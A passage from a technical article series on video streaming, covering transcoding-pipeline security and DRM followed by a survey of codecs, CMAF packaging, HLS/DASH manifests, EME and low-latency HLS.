**Transit encryption:** All API calls and data transfers over HTTPS/TLS. Inter-service communication within VPC can use internal TLS or rely on VPC isolation.

**Key management:** Use AWS KMS or equivalent for encryption keys. Rotate keys periodically. Separate keys by content classification if required by content agreements.

### DRM Integration

DRM encryption happens during packaging, not encoding. However, the transcoding pipeline must:

1. Maintain chain of custody from source to packager
2. Pass content keys securely to packaging stage
3. Ensure no unencrypted intermediates persist

**CENC (Common Encryption)** allows single encrypted output to work with Widevine, FairPlay, and PlayReady. Encryption uses AES-128; each DRM system provides its own license acquisition.

### Forensic Watermarking

Forensic watermarks embed invisible identifiers to trace leaks. Unlike DRM (which prevents copying), watermarking enables identification after a leak.

**Watermark parameters:**

- User ID (obfuscated)
- Session ID
- Timestamp
- Device fingerprint

**Implementation approaches:**

| Approach      | When Applied        | Scalability                           |
| ------------- | ------------------- | ------------------------------------- |
| Pre-encode    | During transcoding  | One variant per user (impractical)    |
| Session-based | During CDN delivery | Requires real-time watermarking infra |
| Client-side   | In player           | Can be stripped; less secure          |

**Production pattern:** Embed watermark during encoding for high-value content (screener copies). Use session-based watermarking for general distribution.

**Gotcha:** Watermarking must survive transcoding attacks (re-encoding, cropping, scaling). Robust watermarks add visible artifacts; invisible watermarks may not survive aggressive re-encoding.

### Access Control

**Least privilege:** Encoding workers need read access to source bucket, write access to output bucket. No access to other buckets, no admin permissions.

**Network isolation:** Encoding workers in private subnet. No public IP. All external communication through NAT gateway or VPC endpoints.

**Audit logging:** CloudTrail for all S3 and API operations. Alert on unusual patterns (bulk downloads, access from unexpected regions).

## Conclusion

Building a video transcoding pipeline requires balancing competing concerns: encoding quality vs. speed, compute cost vs. egress cost, simplicity vs. optimization depth.

**Key architectural decisions:**

1. **Chunked parallel encoding** reduces wall-clock time for individual jobs. Essential for user-facing latency requirements (e.g., VOD available within hours of upload).

2. **Per-title encoding** with convex hull optimization delivers 20-30% bandwidth savings. Worth the complexity for high-view content; overkill for UGC.

3. **Constrained CRF rate control** balances quality consistency with bandwidth predictability. The right choice for streaming; pure CRF for archival.

4. **VMAF-based quality gates** catch encoding issues before they reach users. Automate quality validation; manual QC doesn't scale.

5. **Egress dominates cost at scale.** Efficient codecs (AV1, HEVC) trade higher encoding cost for lower storage and delivery cost—a trade-off that improves with view count.

The future: AI-driven encoding decisions (per-shot optimization, learned rate control), hardware acceleration (VPUs, NPUs), and royalty-free codecs (AV1 ecosystem maturation). The pipeline architecture remains stable; the encoding intelligence improves.

## Appendix

### Prerequisites

- Familiarity with video compression concepts (codecs, containers, bitrate)
- Understanding of distributed systems patterns (queues, workers, retries)
- Knowledge of cloud infrastructure (S3, SQS, EC2/ECS)
- Basic FFmpeg command-line usage

### Terminology

| Term            | Definition                                                                             |
| --------------- | -------------------------------------------------------------------------------------- |
| **ABR**         | Adaptive Bitrate—streaming technique that switches quality based on network conditions |
| **CBR**         | Constant Bitrate—rate control that maintains fixed bitrate throughout video            |
| **CMAF**        | Common Media Application Format—unified fMP4 container for HLS and DASH                |
| **Convex hull** | Set of Pareto-optimal bitrate/quality points for a video                               |
| **CRF**         | Constant Rate Factor—rate control targeting perceptual quality                         |
| **DLQ**         | Dead Letter Queue—holding area for failed messages                                     |
| **GOP**         | Group of Pictures—sequence from one I-frame to the next                                |
| **HLS**         | HTTP Live Streaming—Apple's adaptive streaming protocol                                |
| **I-frame**     | Intra-frame—independently decodable keyframe                                           |
| **NVENC**       | NVIDIA Video Encoder—hardware encoder on NVIDIA GPUs                                   |
| **Per-title**   | Content-aware encoding that customizes parameters per video                            |
| **PSNR**        | Peak Signal-to-Noise Ratio—pixel-level quality metric                                  |
| **PTS**         | Presentation Timestamp—when a frame should be displayed                                |
| **SSIM**        | Structural Similarity Index—perceptual quality metric                                  |
| **SVT-AV1**     | Scalable Video Technology for AV1—Intel/Netflix encoder                                |
| **VBR**         | Variable Bitrate—rate control allowing bitrate to vary                                 |
| **VBV**         | Video Buffering Verifier—model for constraining bitrate peaks                          |
| **VMAF**        | Video Multi-Method Assessment Fusion—ML-based quality metric                           |
| **VOD**         | Video on Demand—pre-recorded content (vs. live)                                        |
| **VPU**         | Video Processing Unit—specialized video encoding hardware                              |

### Summary

- **Chunked parallel encoding** reduces wall-clock time by splitting videos at GOP boundaries and encoding in parallel. Fan-out/fan-in pattern with distributed workers.
- **Rate control matters:** CRF for quality, CBR for fixed bitrate (rare), constrained CRF (capped VBR) for streaming. 2-pass VBR for premium VOD.
- **Per-title encoding** builds content-specific bitrate ladders via convex hull optimization. Netflix reports 20% bandwidth savings. Cost-effective only for high-view content.
- **VMAF correlates with human perception** better than PSNR/SSIM. Use as primary quality metric with automated gates (reject < 80 VMAF).
- **Egress dominates cost at scale.** A 10% compression improvement can save millions annually. Invest in better codecs (AV1) and encoding quality.
- **Resilience patterns:** Retry with exponential backoff for transient errors, circuit breakers for cascading failures, DLQ for investigation.

### References

**Specifications:**

- [ITU-T H.264](https://www.itu.int/rec/T-REC-H.264) - Advanced Video Coding specification
- [ITU-T H.265](https://www.itu.int/rec/T-REC-H.265) - High Efficiency Video Coding specification
- [ISO/IEC 23000-19 CMAF](https://www.iso.org/standard/85623.html) - Common Media Application Format
- [RFC 8216 - HTTP Live Streaming](https://datatracker.ietf.org/doc/html/rfc8216) - HLS protocol specification

**Official Documentation:**

- [FFmpeg Documentation](https://ffmpeg.org/documentation.html) - Video processing toolkit
- [x264 Documentation](https://www.videolan.org/developers/x264.html) - H.264 encoder
- [SVT-AV1 GitHub](https://github.com/AOMediaCodec/SVT-AV1) - AV1 encoder by Intel/Netflix
- [AWS MediaConvert](https://aws.amazon.com/mediaconvert/) - Managed transcoding service
- [VMAF GitHub](https://github.com/Netflix/vmaf) - Netflix's quality metric

**Technical References:**

- [Netflix: AV1 Now Powering 30% of Streaming](https://netflixtechblog.com/av1-now-powering-30-of-netflix-streaming-02f592242d80) - AV1 adoption and per-title encoding
- [Netflix: SVT-AV1 Open Source Encoder](https://netflixtechblog.com/svt-av1-an-open-source-av1-encoder-and-decoder-ad295d9b5ca2) - Encoder architecture
- [Understanding Rate Control Modes](https://slhck.info/video/2017/03/01/rate-control.html) - CRF, CBR, VBR explained
- [Convex Hull Prediction for Bitrate Ladder Construction](https://dl.acm.org/doi/10.1145/3723006) - Academic paper on per-title encoding
- [AWS: Optimizing Video Encoding with FFmpeg on GPU](https://aws.amazon.com/blogs/compute/optimizing-video-encoding-with-ffmpeg-using-nvidia-gpu-based-amazon-ec2-instances/) - GPU encoding cost analysis
- [Temporal: Error Handling in Distributed Systems](https://temporal.io/blog/error-handling-in-distributed-systems) - Retry and circuit breaker patterns

---

## Web Video Playback Architecture: HLS, DASH, and Low Latency

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/platform-engineering/media-systems/web-video-playback-architecture
**Category:** Platform Engineering / Media Systems
**Description:** The complete video delivery pipeline from codecs and compression to adaptive streaming protocols, DRM systems, and ultra-low latency technologies. Covers protocol internals, design trade-offs, and production failure modes for building resilient video applications.

# Web Video Playback Architecture: HLS, DASH, and Low Latency

The complete video delivery pipeline from codecs and compression to adaptive streaming protocols, DRM systems, and ultra-low latency technologies. Covers protocol internals, design trade-offs, and production failure modes for building resilient video applications.

<figure>

![End-to-end video playback pipeline from source encoding through CDN delivery to adaptive client playback](./end-to-end-video-playback-pipeline-from-source-encoding-through-cdn-delivery-to-.svg)

<figcaption>End-to-end video playback pipeline from source encoding through CDN delivery to adaptive client playback</figcaption>

</figure>

## Abstract

Video streaming solves a fundamental tension: high-quality video requires high bitrates, but network conditions are unpredictable and heterogeneous. The solution is **Adaptive Bitrate (ABR) streaming**—pre-encode multiple quality variants, segment them into small chunks, and let the client dynamically select based on real-time conditions.

**The core mental model:**

1. **Codecs compress** by removing spatial/temporal redundancy. The trade-off is compression efficiency vs. decode complexity and hardware support. H.264 is universal but inefficient; AV1 achieves 30% better compression than HEVC (High Efficiency Video Coding) but requires modern hardware.

2. **Containers package** compressed streams into addressable segments. CMAF (Common Media Application Format) unifies HLS and DASH delivery by standardizing fragmented MP4 (fMP4) structure, eliminating the need for duplicate storage.

3. **Manifests map** available segments and quality levels. HLS uses text-based `.m3u8` playlists; DASH uses XML-based MPD (Media Presentation Description) files. Both describe the same underlying content differently.

4. **The client drives** quality selection. The player monitors buffer levels, network throughput, and device capabilities, then requests appropriate segments. The server is stateless—it serves whatever is requested.

5. **Latency is a spectrum.** Traditional HLS/DASH: 6-15 seconds (segment duration × buffer depth). Low-Latency HLS/DASH: 2-4 seconds (partial segments + preload hints). WebRTC: <500ms (UDP + no buffering). Each step down in latency trades scalability and error resilience.

6. **DRM (Digital Rights Management) is ecosystem-fragmented.** Widevine (Chrome/Android), FairPlay (Apple), PlayReady (Windows). CENC (Common Encryption) allows a single encrypted file to work with multiple DRM systems, but license acquisition remains platform-specific.

**Latency trade-off summary:**

| Approach             | Latency | Why                                                   |
| -------------------- | ------- | ----------------------------------------------------- |
| Traditional HLS/DASH | 6-15s   | Segment duration (4-6s) × buffer depth (2-3 segments) |
| LL-HLS/LL-DASH       | 2-4s    | Partial segments (~200ms) + HTTP long-polling         |
| WebRTC               | <500ms  | UDP transport + minimal buffering + no HTTP overhead  |

## Introduction

Initial attempts at web video playback were straightforward but deeply flawed. The most basic method involved serving a complete video file, such as an MP4, directly from a server. While modern browsers can begin playback before the entire file is downloaded (progressive download), this approach is brittle. It offers no robust mechanism for seeking to un-downloaded portions of the video, fails completely upon network interruption, and locks the user into a single, fixed quality.

A slightly more advanced method, employing HTTP Range Requests, addressed the issues of seekability and resumability by allowing the client to request specific byte ranges of the file. This enabled a player to jump to a specific timestamp or resume a download after an interruption.

However, both of these early models shared a fatal flaw: they were built around a single, monolithic file with a fixed bitrate. This "one-size-fits-all" paradigm was economically and experientially unsustainable. Serving a high-quality, high-bitrate file to a user on a low-speed mobile network resulted in constant buffering and a poor experience, while simultaneously incurring high bandwidth costs for the provider.

This pressure gave rise to ABR streaming, the foundational technology of all modern video platforms. ABR inverted the delivery model. Instead of the server pushing a single file, the video is pre-processed into multiple versions at different quality levels. Each version is then broken into small, discrete segments. The client player is given a manifest file—a map to all available segments—and is empowered to dynamically request the most appropriate segment based on its real-time assessment of network conditions, screen size, and CPU capabilities.

**Design rationale for segmentation:** Small segments (typically 2-10 seconds) enable several critical capabilities:

- **Fast quality switching**: Client can change bitrate at segment boundaries without seeking
- **Parallel CDN caching**: Each segment is independently cacheable with unique URLs
- **Error recovery**: A corrupted segment affects only a few seconds of playback
- **HTTP compatibility**: Standard web servers and CDNs handle segments as regular files

The trade-off is manifest overhead and increased request count. For a 2-hour movie with 6-second segments, the player must fetch ~1,200 segments plus periodic manifest updates.

## The Foundation - Codecs and Compression

At the most fundamental layer of the video stack lies the codec (coder-decoder), the compression algorithm that makes transmission of high-resolution video over bandwidth-constrained networks possible. Codecs work by removing spatial and temporal redundancy from video data, dramatically reducing file size.

**How codecs achieve compression:**

- **Intra-frame (I-frames)**: Compress individual frames independently using spatial redundancy (similar adjacent pixels)
- **Inter-frame (P/B-frames)**: Encode only the differences between frames using temporal redundancy (motion vectors)
- **Transform coding**: Convert pixel blocks to frequency domain (DCT/Discrete Cosine Transform), quantize, and entropy-code

A typical 1080p raw video at 30fps requires ~1.5 Gbps. H.264 compresses this to 5-10 Mbps (150-300x reduction). HEVC achieves similar quality at 3-5 Mbps; AV1 at 2-3 Mbps.

### Video Codecs: A Comparative Analysis

#### H.264 (AVC - Advanced Video Coding)

Standardized in 2003 by ITU-T/ISO (ITU-T H.264 | ISO/IEC 14496-10), H.264 remains the most widely deployed video codec. Its dominance is not due to superior compression but to unparalleled compatibility. For two decades, hardware manufacturers have built dedicated H.264 decoding chips into virtually every device.

**Key Characteristics:**

| Attribute                 | Value                                        |
| ------------------------- | -------------------------------------------- |
| Compression Efficiency    | Baseline (reference point)                   |
| Ideal Use Case            | Universal compatibility, live streaming, ads |
| Licensing                 | MPEG LA patent pool (reasonable rates)       |
| Hardware Support          | Ubiquitous (100% of devices)                 |
| Typical Bitrate (1080p30) | 5-10 Mbps                                    |

**Design trade-off:** H.264 prioritized decode simplicity over compression efficiency. The spec defines multiple profiles (Baseline, Main, High) with increasing complexity. Baseline profile can be decoded on the most constrained hardware; High profile enables better compression but requires more capable decoders.

**Gotcha:** The `avc1` codec string in manifests encodes the profile and level (e.g., `avc1.640028` = High profile, level 4.0). Mismatched codec strings cause playback failures even when the container is valid.

#### H.265 (HEVC - High Efficiency Video Coding)

Standardized in 2013 (ITU-T H.265 | ISO/IEC 23008-2), HEVC was designed for 4K and HDR (High Dynamic Range) content. Version 10 was approved in July 2024. As of late 2024, 92% of browsers support HEVC hardware decode.

**Key Characteristics:**

| Attribute                 | Value                                                      |
| ------------------------- | ---------------------------------------------------------- |
| Compression Efficiency    | ~50% better than H.264                                     |
| Ideal Use Case            | 4K/UHD & HDR streaming                                     |
| Licensing                 | Multiple patent pools (MPEG LA, HEVC Advance, Velos Media) |
| Hardware Support          | Widespread (NVIDIA, AMD, Intel, Apple Silicon, Qualcomm)   |
| Typical Bitrate (1080p30) | 3-5 Mbps                                                   |

**Design trade-off:** HEVC achieves better compression through larger coding tree units (CTU, up to 64×64 vs. H.264's 16×16 macroblocks) and more sophisticated prediction modes. This increases encoder complexity by 5-10x, making real-time encoding expensive.

**Licensing complexity:** Three separate patent pools with inconsistent terms drove the industry toward AV1. A single 4K stream may owe royalties to all three pools, making cost calculation non-trivial.

#### AV1 (AOMedia Video 1)

Released in 2018 by the Alliance for Open Media (AOM)—Google, Netflix, Amazon, Microsoft, Meta, and others—AV1 was a direct response to HEVC's licensing fragmentation.

**Key Characteristics:**

| Attribute                 | Value                                                       |
| ------------------------- | ----------------------------------------------------------- |
| Compression Efficiency    | ~30% better than HEVC                                       |
| Ideal Use Case            | High-volume VOD, bandwidth savings                          |
| Licensing                 | Royalty-free (AOM patent commitment)                        |
| Hardware Support          | ~10% of smartphones (Q2 2024), 88% of Netflix-certified TVs |
| Typical Bitrate (1080p30) | 2-3 Mbps                                                    |

**Adoption status (2024-2025):**

- YouTube: 75%+ of videos encoded in AV1
- Netflix: 30% of streams
- Hardware decode: iPhone 15 Pro (A17 chip), Snapdragon 8 Gen 2+, Intel Arc, NVIDIA RTX 40-series

**Design trade-off:** AV1's superior compression comes from computationally expensive encoding. Software encoding is 10-20x slower than H.264. Hardware encoders (NVIDIA NVENC, Intel QuickSync) are now available but still slower than HEVC hardware encoding.

**When to use AV1:** High-volume VOD where encoding cost amortizes across many views. Not yet practical for low-latency live streaming without hardware acceleration.

### Audio Codecs

#### AAC (Advanced Audio Coding)

AAC is the de facto standard for audio in video streaming. Standardized in MPEG-2 Part 7 and MPEG-4 Part 3, it's the default audio codec for MP4 containers and supported by nearly every device.

| Attribute               | Value                                |
| ----------------------- | ------------------------------------ |
| Primary Use Case        | VOD, music streaming                 |
| Low Bitrate (<96kbps)   | Fair; quality degrades noticeably    |
| High Bitrate (>128kbps) | Excellent; industry standard         |
| Latency                 | ~100-200ms (not ideal for real-time) |
| Compatibility           | Near-universal                       |
| Licensing               | MPEG LA patent pool                  |

**Profile variants:** AAC-LC (Low Complexity) is most common. HE-AAC (High Efficiency) adds spectral band replication for better low-bitrate performance. HE-AACv2 adds parametric stereo.

#### Opus

Opus (IETF RFC 6716) is a royalty-free codec developed for real-time communication. Its standout feature is exceptional performance at low bitrates while maintaining sub-20ms algorithmic latency.

| Attribute               | Value                                         |
| ----------------------- | --------------------------------------------- |
| Primary Use Case        | WebRTC, VoIP, low-latency streaming           |
| Low Bitrate (<96kbps)   | Excellent; maintains intelligibility          |
| High Bitrate (>128kbps) | Competitive with AAC                          |
| Latency                 | 2.5-60ms (configurable)                       |
| Compatibility           | All modern browsers, limited hardware support |
| Licensing               | Royalty-free, BSD-licensed                    |

**Design rationale:** Opus combines two compression technologies—SILK (speech-optimized, from Skype) and CELT (music-optimized). The encoder dynamically switches based on content characteristics, achieving good quality across voice, music, and mixed content.

## Packaging and Segmentation

Once the audio and video have been compressed by their respective codecs, they must be packaged into a container format and segmented into small, deliverable chunks. This intermediate stage is critical for enabling adaptive bitrate streaming.

### Container Formats

#### MPEG Transport Stream (.ts)

MPEG-TS is the traditional container for HLS. Its origins lie in digital broadcast (DVB), where its structure of small, fixed-size 188-byte packets was designed for resilience against transmission errors over unreliable networks.

**Design characteristics:**

- Fixed packet size enables recovery from partial data loss
- Self-synchronizing (sync byte 0x47 every 188 bytes)
- Designed for continuous streams, not random access

**Limitation:** MPEG-TS has significant overhead (~8-15%) compared to fMP4, and each segment requires redundant metadata. This is why modern deployments prefer fMP4/CMAF.

#### Fragmented MP4 (fMP4)

Fragmented MP4 is the modern, preferred container for both HLS (since 2016) and DASH. It's a variant of the ISO Base Media File Format (ISOBMFF, ISO/IEC 14496-12).

**Box structure for streaming:**

```
fMP4 File Structure:
├── ftyp (file type)
├── moov (movie metadata)
│   ├── mvhd (movie header)
│   └── trak (track info, codec config)
├── moof (movie fragment header) ─┐
│   └── traf (track fragment)     │ Repeats for
└── mdat (media data)            ─┘ each segment
```

The `moov` box must appear before any `mdat` for playback to begin without full download ("fast start"). For live streaming, the `moov` contains initialization data, and each segment is a `moof` + `mdat` pair.

**Initialization segment:** Contains `ftyp` + `moov` with codec configuration but no media samples. Must be fetched before any media segments. Typically 1-5 KB.

#### CMAF (Common Media Application Format)

CMAF (ISO/IEC 23000-19:2024) is not a new container but a standardization of fMP4 for streaming. Its introduction was a watershed moment for the industry.

**The problem CMAF solves:** Before CMAF, supporting both Apple devices (HLS with .ts) and other devices (DASH with .mp4) required encoding, packaging, and storing two complete sets of video files. This doubled storage costs and reduced CDN cache efficiency.

**CMAF architecture:**

```
Single Source → CMAF Segments (fMP4) → [HLS Manifest (.m3u8)]
                                     → [DASH Manifest (.mpd)]
```

A provider creates one set of CMAF segments and serves them with two different manifest files. Storage cost: 1x instead of 2x.

**CMAF chunks for low-latency:** CMAF defines "chunks"—the smallest addressable unit containing a `moof` + `mdat` pair. For low-latency streaming, each chunk can be independently transferred via HTTP chunked encoding as soon as it's encoded, without waiting for the full segment.

Example: A 4-second segment at 30fps contains 120 frames. With one frame per CMAF chunk, the first chunk is available ~33ms after encoding starts, versus waiting 3.97 seconds for the full segment.

### The Segmentation Process

ffmpeg is the workhorse of video processing. Here's a multi-bitrate HLS encoding pipeline:

```bash file=./hls.bash collapse={1-4}

```

**Key parameters explained:**

| Parameter               | Purpose                                                      |
| ----------------------- | ------------------------------------------------------------ |
| `split=7`               | Creates 7 parallel encoding pipelines from one input         |
| `scale=WxH`             | Resizes to target resolution                                 |
| `-c:v:N h264 -b:v:N Xk` | Sets codec and target bitrate for variant N                  |
| `-hls_time 6`           | Target segment duration (actual duration varies by keyframe) |
| `-var_stream_map`       | Groups video/audio variants for ABR playlist generation      |
| `-master_pl_name`       | Generates master playlist referencing all variants           |

**Gotcha: Keyframe alignment.** Segments can only split at keyframes (I-frames). If your source has keyframes every 10 seconds but you request 6-second segments, actual segment duration will be 10 seconds. Always set keyframe interval at encode time: `-g 180` for 6-second GOP (Group of Pictures) at 30fps.

**Gotcha: Segment duration consistency.** The HLS spec requires segment duration to match `EXT-X-TARGETDURATION` ±0.5 seconds. Variable segment durations (common with scene-change keyframes) can cause buffer underruns if the player's buffer model assumes consistent duration.

## The Protocols of Power - HLS and MPEG-DASH

The protocols for adaptive bitrate streaming define the rules of communication between the client and server. They specify the manifest format and segment addressing scheme.

### HLS (HTTP Live Streaming)

Created by Apple and documented in RFC 8216 (with draft RFC8216bis describing protocol version 13), HLS is the most widely deployed streaming protocol. Its dominance stems from mandatory support on Apple's ecosystem—Safari will only play HLS natively.

**Design philosophy:** HLS was designed to work with standard HTTP infrastructure. Segments are regular files; playlists are text files. Any HTTP server or CDN can serve HLS content without modification.

#### Playlist Hierarchy

HLS uses a two-level playlist structure:

**Master Playlist** (entry point, lists all variants):

```m3u8 file=./master.m3u8

```

**Key tags explained:**

| Tag                 | Purpose                                                        |
| ------------------- | -------------------------------------------------------------- |
| `EXT-X-VERSION`     | HLS protocol version (3 is widely compatible; 7+ for fMP4)     |
| `EXT-X-STREAM-INF`  | Describes a variant stream                                     |
| `BANDWIDTH`         | Peak bitrate in bits/second (used for ABR selection)           |
| `AVERAGE-BANDWIDTH` | Average bitrate (more accurate for buffer estimation)          |
| `CODECS`            | RFC 6381 codec string (critical for playback capability check) |

**Media Playlist** (lists segments for one variant):

```m3u8 file=./playlist.m3u8

```

**Critical tags for playback:**

| Tag                    | Purpose                                                            |
| ---------------------- | ------------------------------------------------------------------ |
| `EXT-X-TARGETDURATION` | Maximum segment duration (player uses for buffer calculations)     |
| `EXT-X-MEDIA-SEQUENCE` | Sequence number of first segment (critical for live edge tracking) |
| `EXTINF`               | Actual segment duration                                            |
| `EXT-X-ENDLIST`        | Indicates VOD content (no more segments will be added)             |

**Live streaming behavior:** For live streams, `EXT-X-ENDLIST` is absent. The player periodically re-fetches the playlist to discover new segments. The refresh interval is typically `target duration / 2` per the spec.

**Gotcha: Sequence number discontinuities.** If the origin server restarts and resets `EXT-X-MEDIA-SEQUENCE` to 0, players may incorrectly seek to the wrong position or refuse to play. Production systems must persist sequence numbers across restarts.

### MPEG-DASH

Dynamic Adaptive Streaming over HTTP (DASH) is standardized as ISO/IEC 23009-1 (5th edition: 2022). Unlike HLS, which was created by Apple, DASH was developed through an open, international standardization process.

**Key differentiator:** DASH is codec-agnostic. The spec defines manifest structure and segment addressing but makes no assumptions about codecs. This enables delivery of any format: H.264, HEVC, AV1, VP9, and future codecs.

**Design philosophy:** DASH prioritizes flexibility and expressiveness. The XML-based MPD can describe complex presentations (multiple periods, dynamic ad insertion, multiple audio languages, accessibility tracks) more precisely than HLS's text-based format.

#### MPD (Media Presentation Description) Structure

```xml
<MPD type="static" mediaPresentationDuration="PT600S"
     profiles="urn:mpeg:dash:profile:isoff-on-demand:2011">
  <Period duration="PT600S">
    <AdaptationSet contentType="video" mimeType="video/mp4" codecs="avc1.640028">
      <Representation id="video-1080p" bandwidth="5000000" width="1920" height="1080">
        <BaseURL>video/1080p/</BaseURL>
        <SegmentTemplate media="segment-$Number$.m4s" initialization="init.mp4" startNumber="1" />
      </Representation>
      <Representation id="video-720p" bandwidth="2800000" width="1280" height="720">
        <BaseURL>video/720p/</BaseURL>
        <SegmentTemplate media="segment-$Number$.m4s" initialization="init.mp4" startNumber="1" />
      </Representation>
    </AdaptationSet>
    <AdaptationSet contentType="audio" mimeType="audio/mp4" codecs="mp4a.40.2" lang="en">
      <Representation id="audio-en" bandwidth="128000">
        <BaseURL>audio/en/</BaseURL>
        <SegmentTemplate media="segment-$Number$.m4s" initialization="init.mp4" startNumber="1" />
      </Representation>
    </AdaptationSet>
  </Period>
</MPD>
```

**Hierarchy:** `MPD` → `Period` → `AdaptationSet` → `Representation`

- **Period:** Content divisions (pre-roll ad, main content, mid-roll ad). Enables seamless ad insertion.
- **AdaptationSet:** Groups switchable representations (all 1080p variants, or all audio languages).
- **Representation:** One specific variant (1080p at 5Mbps H.264).

**Segment addressing methods:**

1. **SegmentTemplate:** Constructs URLs from templates with variable substitution (`$Number$`, `$Time$`). Most common.
2. **SegmentList:** Explicit enumeration of segment URLs. Useful for variable-duration segments.
3. **SegmentBase:** Single segment with byte-range addressing via `sidx` box. Used for VOD with in-file index.

**Gotcha: Period transitions.** Playback can stutter at period boundaries if the transition isn't handled correctly. The `periodContinuity` signaling in DASH-IF guidelines enables seamless appends, but short periods (<5 seconds) with network latency can still cause stalls.

### HLS vs. DASH: Technical Comparison

| Feature                     | HLS                                        | MPEG-DASH                               |
| --------------------------- | ------------------------------------------ | --------------------------------------- |
| **Spec Owner**              | Apple (RFC 8216)                           | ISO/IEC 23009-1                         |
| **Manifest Format**         | Text-based (.m3u8)                         | XML-based (.mpd)                        |
| **Manifest Size**           | Smaller (10-50 KB live)                    | Larger (20-100 KB complex)              |
| **Codec Support**           | H.264, HEVC, limited others                | Any codec (agnostic)                    |
| **Container Support**       | MPEG-TS, fMP4/CMAF                         | fMP4/CMAF, WebM                         |
| **Native DRM**              | FairPlay                                   | Widevine, PlayReady                     |
| **Safari/iOS**              | Native                                     | Not supported                           |
| **Manifest Expressiveness** | Limited (extensions for advanced features) | Rich (periods, segment timelines, etc.) |
| **Low-Latency Extension**   | LL-HLS                                     | LL-DASH                                 |
| **Industry Adoption**       | Dominant (Apple ecosystem requirement)     | Strong (Android, smart TVs, web)        |

**Practical implication:** Most production systems support both. CMAF enables shared media segments; only the manifest differs. The choice often comes down to DRM requirements and target platform mix.

## Securing the Stream: Digital Rights Management

For premium content, preventing unauthorized copying and distribution is a business necessity. DRM provides content protection through encryption and controlled license issuance.

### The Multi-DRM Landscape

Three major DRM systems dominate, each tied to a specific ecosystem:

| DRM System                | Ecosystem       | Browser               | Mobile  | TV/STB                 |
| ------------------------- | --------------- | --------------------- | ------- | ---------------------- |
| **Widevine** (Google)     | Chrome, Android | Chrome, Firefox, Edge | Android | Android TV, Chromecast |
| **FairPlay** (Apple)      | Apple           | Safari                | iOS     | Apple TV               |
| **PlayReady** (Microsoft) | Windows         | Edge                  | —       | Xbox, Smart TVs        |

**Why three systems?** Each platform vendor controls the secure execution environment (TEE/Trusted Execution Environment) on their hardware. DRM requires hardware-backed security for premium content (4K, HDR). No vendor will trust another vendor's TEE implementation.

### Security Levels

DRM systems define security levels based on where decryption occurs:

**Widevine Levels:**

- **L1 (Hardware):** Decryption in TEE; keys never exposed to main CPU. Required for HD/4K on most services.
- **L2 (Hybrid):** Partial hardware protection. Uncommon in practice.
- **L3 (Software):** Decryption in browser process. No hardware protection. Limited to SD resolution on premium services.

**FairPlay:** Leverages Apple's Secure Enclave for hardware-backed security on all modern devices.

**PlayReady Levels:**

- **SL3000:** TEE-based, hardware protection (introduced with PlayReady 3.0 in 2015)
- **SL2000:** Software-based protection

**Content policy implication:** Netflix, Disney+, and other premium services enforce L1/SL3000 for 4K content. A Chrome user on Linux typically gets L3 Widevine and is limited to 720p.

### Common Encryption (CENC)

CENC (ISO/IEC 23001-7:2023) enables a single encrypted file to work with multiple DRM systems. This is the key technology making multi-DRM practical.

**How CENC works:**

1. Content is encrypted once with AES-128 (same encrypted bytes for all DRM systems)
2. Each DRM system's metadata (PSSH box) is embedded in the init segment
3. At playback, the player detects available DRM systems, requests a license from the appropriate server, and decrypts using the returned key

**Encryption modes:**

- **cenc (CTR mode):** Default. Parallelizable, suitable for streaming. No padding required.
- **cbcs (CBC mode with subsample patterns):** Required by FairPlay. Encrypts only a subset of bytes, leaving NAL headers in plaintext for codec inspection.

**Subsample encryption:** For NAL-structured video (H.264, HEVC), only the coded slice data is encrypted. NAL headers remain in plaintext, allowing the player to parse codec configuration without decryption.

### EME: The Browser API

Encrypted Media Extensions (EME) is the W3C API that connects JavaScript to the platform's Content Decryption Module (CDM).

**Flow:**

1. Player detects encrypted content (via `encrypted` event)
2. Calls `navigator.requestMediaKeySystemAccess()` to check DRM availability
3. Creates `MediaKeys` and `MediaKeySession`
4. Sends license request to server (challenge from CDM)
5. Passes license response to CDM
6. CDM decrypts content; HTMLMediaElement plays

**Gotcha: EME is not DRM.** EME is the API; Widevine/FairPlay/PlayReady are the DRM systems. EME standardizes the interface but doesn't define the security properties. A browser can implement EME with a software CDM (low security) or hardware TEE (high security).

## The New Frontier: Ultra-Low Latency

Traditional HLS/DASH has 6-15+ seconds of latency (segment duration × buffer depth). For live sports, auctions, and interactive content, this is unacceptable. Two approaches address this: Low-Latency HLS/DASH (HTTP-based, 2-4 seconds) and WebRTC (UDP-based, <500ms).

### Understanding Latency Sources

| Component       | Traditional             | Low-Latency                 | WebRTC                   |
| --------------- | ----------------------- | --------------------------- | ------------------------ |
| Encoding        | 1-2s (segment duration) | 200-500ms (partial segment) | 20-100ms (per-frame)     |
| Packaging       | ~1s                     | <100ms                      | N/A                      |
| CDN Edge        | 1-2s                    | 500ms-1s                    | N/A (SFU direct)         |
| Manifest Update | 2-3s                    | 200-500ms (blocking reload) | N/A                      |
| Player Buffer   | 6-12s (2-3 segments)    | 1-3s (parts + safety)       | 50-200ms (jitter buffer) |
| **Total**       | **10-20s**              | **2-5s**                    | **100-500ms**            |

### Low-Latency HLS (LL-HLS)

Apple introduced LL-HLS in 2019 (WWDC 2019) to reduce latency while preserving HTTP scalability. It achieves 2-4 second latency through three mechanisms:

#### 1. Partial Segments (Parts)

Instead of waiting for a full 6-second segment, LL-HLS publishes smaller "parts" (200ms-2s) as soon as they're encoded.

```m3u8
#EXTM3U
#EXT-X-TARGETDURATION:4
#EXT-X-PART-INF:PART-TARGET=0.5
#EXT-X-MEDIA-SEQUENCE:100

#EXT-X-PART:DURATION=0.5,URI="segment100_part0.m4s"
#EXT-X-PART:DURATION=0.5,URI="segment100_part1.m4s"
#EXT-X-PART:DURATION=0.5,URI="segment100_part2.m4s"
#EXTINF:2.0,
segment100.m4s
```

**Design rationale:** Parts are published incrementally but roll up into full segments. Legacy players ignore `EXT-X-PART` tags and fetch full segments. LL-HLS-aware players fetch parts for lower latency.

#### 2. Blocking Playlist Reload

Traditional HLS requires the player to poll for playlist updates (every `target duration / 2`). This polling introduces latency—the player might check just after an update and wait until the next poll.

LL-HLS uses HTTP long-polling: the player requests the playlist with a query parameter indicating the last seen media sequence. The server holds the connection until new content is available, then responds immediately.

```
GET /playlist.m3u8?_HLS_msn=100&_HLS_part=3
```

The server blocks until segment 100, part 3 (or later) exists, then responds with the updated playlist.

#### 3. Preload Hints

The server tells the player the URI of the next part before it exists:

```m3u8
#EXT-X-PRELOAD-HINT:TYPE=PART,URI="segment100_part4.m4s"
```

The player can issue a request immediately. The server holds the request open until the part is ready. This eliminates the round-trip between playlist update and segment request.

